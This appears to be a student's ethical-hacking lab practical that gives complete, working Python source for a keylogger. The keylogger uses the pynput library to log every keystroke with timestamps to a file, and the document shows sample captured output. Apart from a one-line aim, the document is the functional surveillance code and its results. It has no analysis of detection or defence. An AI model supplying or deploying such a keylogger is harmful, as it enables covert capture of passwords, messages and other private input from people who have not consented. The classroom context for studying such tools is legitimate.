

Practical 4

Aim:-

Create a simple keylogger using Python.

Code:-

```
EHPAC4.py - C:/Users/Satish-Pendhare/Desktop/Onkar/EHPAC4.py (3.10.6)
File Edit Format Run Options Window Help
from pynput.keyboard import Key, Listener
import logging
logging.basicConfig(filename="keylog.txt", level=logging.DEBUG, format="%(asctime)s _%(message)s")
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener:
    listener.join()
```

Output:-

```
keylog - Notepad
File Edit Format View Help
2023-01-08 14:48:58,815 _Key.right
2023-01-08 14:49:00,552 _Key.enter
2023-01-08 14:49:06,208 _Key.shift
2023-01-08 14:49:06,708 _Key.shift
2023-01-08 14:49:06,754 _Key.shift
2023-01-08 14:49:06,754 _'E'
2023-01-08 14:49:07,504 _'t'
2023-01-08 14:49:08,426 _'h'
2023-01-08 14:49:08,629 _'i'
2023-01-08 14:49:08,942 _'c'
2023-01-08 14:49:09,161 _'a'
2023-01-08 14:49:09,379 _'l'
2023-01-08 14:49:09,582 _Key.space
2023-01-08 14:49:10,160 _Key.shift
2023-01-08 14:49:10,301 _'H'
2023-01-08 14:49:10,614 _'a'
2023-01-08 14:49:10,785 _'c'
2023-01-08 14:49:11,582 _'k'
2023-01-08 14:49:11,801 _'i'
2023-01-08 14:49:12,067 _'n'
2023-01-08 14:49:12,348 _'g'
2023-01-08 14:49:12,598 _Key.space
2023-01-08 14:49:14,426 _Key.shift
2023-01-08 14:49:14,613 _'P'
2023-01-08 14:49:15,316 _'r'
2023-01-08 14:49:15,488 _'a'
2023-01-08 14:49:15,613 _'c'
2023-01-08 14:49:15,801 _'t'
2023-01-08 14:49:16,191 _'i'
2023-01-08 14:49:16,722 _'c'
2023-01-08 14:49:16,847 _'a'
2023-01-08 14:49:17,140 _'l'
2023-01-08 14:49:17,837 _Key.space
2023-01-08 14:49:18,868 _'4'
```